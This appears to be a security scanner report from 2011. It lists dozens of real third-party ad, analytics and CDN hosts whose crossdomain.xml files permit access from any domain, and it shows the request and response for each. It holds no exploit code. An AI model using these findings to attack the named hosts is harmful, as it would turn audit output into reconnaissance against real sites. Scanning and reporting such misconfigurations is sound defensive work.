<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-on
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.5. http://api.bit.ly/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.bit.ly
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: api.bit.ly

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:32:43 GMT
Content-Type: text/xml
Content-Length: 141
Last-Modified: Mon, 09 Aug 2010 21:22:00 GMT
Connection: close
Expires: Mon, 07 Feb 2011 23:32:43 GMT
Cache-Control: max-age=172800
Accept-Ranges: bytes

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.6. http://ar.voicefive.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ar.voicefive.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Type: text/xml
Connection: close
Vary: Accept-Encoding
Accept-Ranges: bytes
Content-Length: 230
Vary: Accept-Encoding,User-Agent
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

5.7. http://au2m8.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://au2m8.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: au2m8.com

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.219CKOWU; path=/
Date: Sun, 06 Feb 2011 13:24:34 GMT
Server: Apache
Last-Modified: Wed, 03 Dec 2008 12:41:21 GMT
ETag: "b6843d-66-45d23c2d7be40"
Accept-Ranges: bytes
Content-Length: 102
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.8. http://b.voicefive.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: b.voicefive.com

Response

HTTP/1.0 200 OK
Last-Modified: Wed, 10 Jun 2009 18:02:58 GMT
Content-Type: application/xml
Expires: Mon, 07 Feb 2011 13:40:00 GMT
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Length: 201
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy
...[SNIP]...

5.9. http://blog.vibrantmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://blog.vibrantmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: blog.vibrantmedia.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Wed, 02 Mar 2005 18:36:18 GMT
Accept-Ranges: bytes
ETag: "03debb8561fc51:0"
Server: Microsoft-IIS/7.5
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:45:44 GMT
Connection: close
Content-Length: 202

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://vib-nt02/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
</cross-domain-policy>
...[SNIP]...

5.10. http://bs.serving-sys.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Thu, 21 Aug 2008 15:23:00 GMT
Accept-Ranges: bytes
ETag: "0e2c3cba13c91:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:30 GMT
Connection: close
Content-Length: 100

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.11. http://cdn.manualsonline.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.manualsonline.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.manualsonline.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:42 GMT
ETag: "810108-ef-49ac0fc2c4280"
Accept-Ranges: bytes
Content-Length: 239
Content-Type: text/xml
Date: Sat, 05 Feb 2011 22:46:27 GMT
Connection: close

<?xml version="1.0" ?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" heade
...[SNIP]...

5.12. http://cdn.royale.spongecell.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.royale.spongecell.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.royale.spongecell.com

Response

HTTP/1.0 200 OK
Server: nginx/0.6.35
Content-Type: text/xml
Content-Length: 325
Vary: Accept-Encoding
Accept-Ranges: bytes
Date: Sat, 05 Feb 2011 22:46:28 GMT
Last-Modified: Fri, 06 Aug 2010 01:11:11 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.13. http://cdn.w55c.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.w55c.net

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:49:03 GMT
Server: Jetty(6.1.22)
Cache-Control: max-age=86400
Content-Length: 504
content-type: application/xml
Age: 0
Via: 1.1 mdw061004 (MII-APC/1.6)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>

<allow-access-from domain="*" to-ports="*"/>
...[SNIP]...

5.14. http://cdn.widgets.spongecell.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgets.spongecell.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: cdn.widgets.spongecell.com
Proxy-Connection: keep-alive
Referer: http://cdn.statics.live.spongecell.com/officedepot/r2/v4b/bin/RectangleGrid.swf?placementId=&flightId=&clickthroughUrl=http%3A%2F%2Fwww.officedepot.com%2F%3Fcm_mmc%3DRetail-_-Q1ITP2011%2BOwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&actionsType=Rectangle&backupImageUrl=http%3A%2F%2Fcdn.statics.live.spongecell.com%2Fofficedepot%2Fv4b%2Fassets%2F300x250.jpg&hostBaseUrl=spongecell.com&creativeSwfUrl=..%2Fassets%2F300x250.swf&subMenuType=Pop&menuType=Grid&height=250&widgetId=263365&trackImpressions=0&width=300&linkPrefixDecoded=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3f&clickTag=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//www.officedepot.com/%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&clickTag1=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//www.officedepot.com/promo/list5.do%3Flisttype%3DAY%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&clickTag2=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//officedepot.shoplocal.com/officedepot%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&clickTag3=http://ad.doubleclick.net/click%3Bh%3Dv8/3aa5/3/0/%2a/g%3B234541768%3B0-0%3B0%3B58231430%3B4307-300/250%3B40051907/40069694/1%3Bu%3Dsid_%3B%7Eokv%3D%3Bpc%3DDFP235949442%3B%3B%7Efdr%3D235949442%3B0-0%3B0%3B41185174%3B4307-300/250%3B40069735/40087522/1%3Bu%3Dsid_%3B%7Esscs%3D%3fhttp%3A//cdn.statics.live.spongecell.com/officedepot/v4b/assets/Coupons1.pdf%3Fcm_mmc%3DRetail-_-Q1ITP2011+OwnerIQ-_-OwnerIQOwnerandIntenderGroup300x250-_-300x250&
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
x-amz-id-2: Go6NBubCwXpoxoYLXDmZR1HmhFxAm+/3QeK0yVvtvM5iPZyczFB/IB+dPBk9KYZh
x-amz-request-id: DE7157C81C508554
x-amz-meta-jets3t-original-file-date-iso8601: 2009-11-20T18:54:17.000Z
x-amz-meta-md5-hash: 7ecf8a0413a8f5c81890840d00a37a80
Accept-Ranges: bytes
Content-Type: application/xml
Server: AmazonS3
Vary: Accept-Encoding
Age: 873
Date: Sat, 05 Feb 2011 21:54:19 GMT
Last-Modified: Fri, 20 Nov 2009 18:54:18 GMT
Connection: keep-alive
Content-Length: 322

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.15. http://clk.redcated/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://clk.redcated
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: clk.redcated

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 207
Content-Type: text/xml
Last-Modified: Thu, 18 Sep 2003 22:57:15 GMT
Accept-Ranges: bytes
ETag: "488d2234387ec31:5e1"
Connection: close
Date: Sat, 05 Feb 2011 22:47:13 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.16. http://demos.us.intellitxt.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://demos.us.intellitxt.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: demos.us.intellitxt.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Wed, 02 Mar 2005 18:36:18 GMT
Accept-Ranges: bytes
ETag: "03debb8561fc51:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:47:43 GMT
Connection: close
Content-Length: 202

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://vib-nt02/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
</cross-domain-policy>
...[SNIP]...

5.17. http://ds.serving-sys.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ds.serving-sys.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ds.serving-sys.com

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Last-Modified: Thu, 20 Aug 2009 15:36:15 GMT
Server: Microsoft-IIS/6.0
Date: Sun, 06 Feb 2011 13:21:32 GMT
Content-Length: 100
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.18. http://eisenstein.dk/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://eisenstein.dk
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: eisenstein.dk

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.209CKOWJ; path=/
Date: Sun, 06 Feb 2011 17:52:46 GMT
Server: Apache
Last-Modified: Thu, 16 Oct 2008 18:44:17 GMT
ETag: "c780a2-66-459633c692240"
Accept-Ranges: bytes
Content-Length: 102
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.19. http://enterprisemediagroup.112.2o7.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: enterprisemediagroup.112.2o7.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:53 GMT
Server: Omniture DC/2.0.0
xserver: www92
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.20. http://external.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://external.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: external.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "a27e344a618640558cd334164e432db0:1247617934"
Last-Modified: Wed, 15 Jul 2009 00:32:14 GMT
Accept-Ranges: bytes
Content-Length: 258
Content-Type: application/xml
Date: Sun, 06 Feb 2011 13:32:57 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.21. http://feeds.feedburner.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://feeds.feedburner.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: feeds.feedburner.com

Response

HTTP/1.0 200 OK
Expires: Mon, 07 Feb 2011 13:39:12 GMT
Date: Sun, 06 Feb 2011 13:39:12 GMT
Cache-Control: public, max-age=86400
Content-Type: text/x-cross-domain-policy
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

5.22. http://files.video-loader.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://files.video-loader.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: files.video-loader.com

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "a004dc-245-4930aee4073c0"
Accept-Ranges: bytes
Content-Length: 581
Content-Type: text/xml
Age: 73114
Date: Sat, 05 Feb 2011 23:07:33 GMT
Last-Modified: Wed, 20 Oct 2010 11:44:23 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-con
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.23. http://metrics.blackberry.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrics.blackberry.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: metrics.blackberry.com

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:32:28 GMT
Server: Omniture DC/2.0.0
xserver: www276
Content-Length: 167
Keep-Alive: timeout=15
Connection: close
Content-Type: text/html

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
<allow-http-request-headers-from domain="*" headers="*" secure="false" />
</cross-domain-policy>

5.24. http://metrixlablw.customers.luna.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://metrixlablw.customers.luna.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: metrixlablw.customers.luna.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:20 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Wed, 18 Feb 2009 10:52:39 GMT
ETag: "db020b-db-4632f37e1cbc0"
Accept-Ranges: bytes
Content-Length: 219
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="all"/>
   <allow-access-from domain="*"/>
   <allow-http-request-headers-from domain="*" headers="*" />
</c
...[SNIP]...

5.25. http://mittwiki.ivwbox.de/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mittwiki.ivwbox.de
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: mittwiki.ivwbox.de

Response

HTTP/1.0 200 OK
Server: srp/2ac
Date: Sun, 06 Feb 2011 17:43:08 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref="http://www.ivwbox.de/p3p.xml", CP="NOI DSP PSAo OUR NOR UNI"
Content-Length: 102
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.26. http://ping.fm/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ping.fm
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ping.fm

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:37 GMT
Server: Apache
Last-Modified: Thu, 09 Apr 2009 11:40:36 GMT
ETag: "147c9f-c8-4671db76e1500"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: text/xml
Content-Length: 200
Connection: close
Via: 1.1 AN-0016020121270012

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.27. http://platform.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://platform.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: platform.ak.fbcdn.net

Response

5.28. http://rt32.infolinks.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt32.infolinks.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: rt32.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/xml;charset=UTF-8
Content-Length: 82
Date: Sat, 05 Feb 2011 22:15:46 GMT
Connection: close

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.29. http://rt82.infolinks.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt82.infolinks.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: rt82.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/xml;charset=UTF-8
Content-Length: 82
Date: Sat, 05 Feb 2011 22:15:09 GMT
Connection: close

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.30. http://rt83.infolinks.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt83.infolinks.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.1
Host: rt83.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Type: text/xml;charset=UTF-8
Content-Length: 82
Date: Sat, 05 Feb 2011 22:15:00 GMT
Connection: close

<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>

5.31. http://s.ytimg.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s.ytimg.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s.ytimg.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy
Last-Modified: Fri, 27 Aug 2010 02:31:32 GMT
Date: Sat, 05 Feb 2011 05:57:04 GMT
Expires: Sat, 12 Feb 2011 05:57:04 GMT
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 61319

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.32. http://s3.amazonaws.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://s3.amazonaws.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s3.amazonaws.com

Response

HTTP/1.1 200 OK
x-amz-id-2: 76E6oj9w+b/hHPZf7UaEFSCi9AaQCW4UuWT+YKdmAw8EG3ShKK171g6nOB9vvB6N
x-amz-request-id: 713BC53FB52939CB
Date: Sat, 05 Feb 2011 22:59:10 GMT
Content-Type: text/xml
Connection: close
Server: AmazonS3

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-pol
...[SNIP]...

5.33. http://spe.redcated/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://spe.redcated
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: spe.redcated

Response

HTTP/1.0 200 OK
Content-Type: text/xml
Content-Length: 207
Allow: GET
Expires: Thu, 10 Feb 2011 19:43:50 GMT
Date: Sun, 06 Feb 2011 13:22:29 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-po
...[SNIP]...

5.34. http://spongecell.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://spongecell.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: spongecell.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 23:01:19 GMT
Content-Type: text/xml
Content-Length: 325
Last-Modified: Fri, 06 Aug 2010 01:11:11 GMT
Connection: close
Vary: Accept-Encoding
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.35. http://us.blackberry.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://us.blackberry.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: us.blackberry.com

Response

HTTP/1.0 200 OK
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5
Pragma: no-cache
ETag: W/"213-1271207419000"
Last-Modified: Wed, 14 Apr 2010 01:10:19 GMT
Content-Type: text/xml;charset=UTF-8
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 05 Feb 2011 22:38:11 GMT
Date: Sat, 05 Feb 2011 22:38:11 GMT
Content-Length: 213
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
</cross-d
...[SNIP]...

5.36. http://videos.video-loader.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://videos.video-loader.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: videos.video-loader.com

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "a004dc-245-4930aee4073c0"
Accept-Ranges: bytes
Content-Length: 581
Content-Type: text/xml
Age: 55705
Date: Sat, 05 Feb 2011 23:32:46 GMT
Last-Modified: Wed, 20 Oct 2010 11:44:23 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM
"http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-con
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.37. http://vodpod.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://vodpod.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: vodpod.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.50
Date: Sat, 05 Feb 2011 22:41:50 GMT
Content-Type: text/xml
Content-Length: 214
Last-Modified: Tue, 06 Oct 2009 19:34:48 GMT
Connection: close
Vary: Accept-Encoding
P3P: policyref="http://facebook.vodpod.com/w3c/p3p.xml", CP="NOI ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Accept-Ranges: bytes

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
</cross-doma
...[SNIP]...

